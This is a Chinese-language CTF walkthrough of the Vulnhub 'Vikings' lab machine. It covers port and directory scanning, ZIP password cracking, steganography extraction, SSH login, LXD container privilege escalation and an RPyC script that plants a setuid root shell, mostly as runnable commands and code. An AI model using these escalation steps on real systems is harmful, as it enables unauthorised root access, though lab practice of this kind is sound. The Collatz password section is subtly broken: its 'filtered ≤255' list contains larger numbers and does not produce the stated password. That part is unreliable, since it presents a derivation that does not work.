Vikings靶机渗透
字数 1469 2025-08-11 08:35:47
Vikings靶机渗透教学文档
1. 靶机概述
Vikings是一个CTF风格的渗透测试靶机,可从Vulnhub下载:
- 下载地址:https://www.vulnhub.com/entry/vikings-1,741/
- 作者提示:这是一个充满挑战的CTF机器,需要做可见的事情,没有兔子洞(无用的线索),需要先枚举再攻击
2. 初始信息收集
2.1 网络扫描
使用nmap进行端口扫描:
nmap -sV -p- 10.8.1.145
发现开放端口:
- 22 (SSH)
- 25 (SMTP)
- 80 (HTTP)
- 110 (POP3)
2.2 Web服务枚举
访问80端口:
- 主页面点击"site"进入网站
- 使用gobuster进行目录扫描:
gobuster dir -u http://10.8.1.145/site -w /path/to/wordlist.txt
发现:
- /site/war.txt
- /site/war-is-over/
3. 文件解密过程
3.1 获取加密文件
访问/site/war.txt,提示查看/war-is-over
访问/site/war-is-over/,获取到一个看似文本但实际是ZIP的文件
3.2 破解ZIP文件
- 使用file命令确认文件类型:
file war-is-over
确认是AES加密的ZIP文件
- 使用zip2john提取哈希:
zip2john war-is-over > war.hash
- 使用john破解密码:
john --wordlist=/path/to/wordlist.txt war.hash
获得密码:ragnarok123
- 解压ZIP文件:
unzip -P ragnarok123 war-is-over
得到一张图片
4. 图片隐写分析
4.1 使用steghide尝试提取
steghide extract -sf extracted_image.jpg
需要密码,尝试失败
4.2 使用binwalk分析
binwalk -e extracted_image.jpg
分离出两个文件,其中包含用户名信息:
- 用户名:floki
- 密码提示:FamousBoatbuilder_floki
5. SSH登录
尝试使用floki用户和密码f@m0usboatbuilde7成功登录:
ssh floki@10.8.1.145
6. 权限提升路径一:LXD提权
6.1 信息收集
- 查看当前目录下的readme.txt,提示需要"boat找到Ragnar"
- 检查/etc/passwd,发现ragnar用户
- 查看ragnar用户权限:
id ragnar
发现ragnar用户属于lxd组
6.2 LXD提权步骤
- 在攻击机上构建Alpine镜像:
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
bash build-alpine
-
将生成的alpine-v3.15-x86_64-20220430_1141.tar.gz传输到靶机
-
在靶机上执行:
lxc image import ./alpine-v3.15-x86_64-20220430_1141.tar.gz --alias vik
lxc image list
lxc init vik vks -c security.privileged=true
lxc config device add vks vik disk source=/ path=/mnt/root recursive=true
lxc start vks
lxc exec vks /bin/sh
- 在容器内访问主机文件系统:
cd /mnt/root/root
获取root flag:f0b98d4387ff6da77317e582da98bf31
7. 权限提升路径二:考拉兹猜想提权
7.1 分析boat文件
boat文件内容涉及考拉兹猜想(Collatz Conjecture):
- 对于正整数n:
- 奇数:n = 3n + 1
- 偶数:n = n / 2
- 最终都会收敛到1
7.2 解题步骤
-
查找第29个素数:109
-
编写Python代码计算考拉兹序列:
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
- 将结果转换为ASCII字符:
109 → 328 → 164 → 82 → 41 → 124 → 62 → 31 → 94 → 47 → 142 → 71 → 214 → 107 → 322 → 161 → 484 → 242 → 121 → 364 → 182 → 91 → 274 → 137 → 412 → 206 → 103 → 310 → 155 → 466 → 233 → 700 → 350 → 175 → 526 → 263 → 790 → 395 → 1186 → 593 → 1780 → 890 → 445 → 1336 → 668 → 334 → 167 → 502 → 251 → 754 → 377 → 1132 → 566 → 283 → 850 → 425 → 1276 → 638 → 319 → 958 → 479 → 1438 → 719 → 2158 → 1079 → 3238 → 1619 → 4858 → 2429 → 7288 → 3644 → 1822 → 911 → 2734 → 1367 → 4102 → 2051 → 6154 → 3077 → 9232 → 4616 → 2308 → 1154 → 577 → 1732 → 866 → 433 → 1300 → 650 → 325 → 976 → 488 → 244 → 122 → 61 → 184 → 92 → 46 → 23 → 70 → 35 → 106 → 53 → 160 → 80 → 40 → 20 → 10 → 5 → 16 → 8 → 4 → 2 → 1
- 筛选≤255的数字并转换为ASCII:
109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 103, 155, 233, 175, 263, 395, 445, 167, 251, 377, 283, 319, 479, 719, 1079, 1619, 911, 1367, 2051, 3077, 577, 433, 325, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1
转换为ASCII字符串后得到密码:mR)|>^/Gky[gz=.F#j5P(
7.3 切换用户
使用获得的密码切换到ragnar用户:
su ragnar
密码:mR)|>^/Gky[gz=.F#j5P(
7.4 RPyC提权
- 发现18812端口运行RPyC服务
- 在ragnar用户目录下找到.rpyc相关文件
- 编写Python脚本利用RPyC获取root权限:
import rpyc
connect = rpyc.classic.connect('localhost')
def rootsh():
import os
os.system('rm /tmp/rootsh')
os.system('cp /bin/bash /tmp/rootsh && chmod +s /tmp/rootsh')
conn = connect.teleport(rootsh)
conn()
- 执行脚本后,运行生成的root shell:
/tmp/rootsh -p
获得root权限
8. 总结
本靶机渗透过程涉及多个关键知识点:
- 文件类型识别与破解
- 隐写术分析
- LXD容器提权
- 数学算法在渗透测试中的应用
- RPyC远程代码执行
两种提权路径展示了不同的渗透思路,强调了在渗透测试中多角度思考的重要性。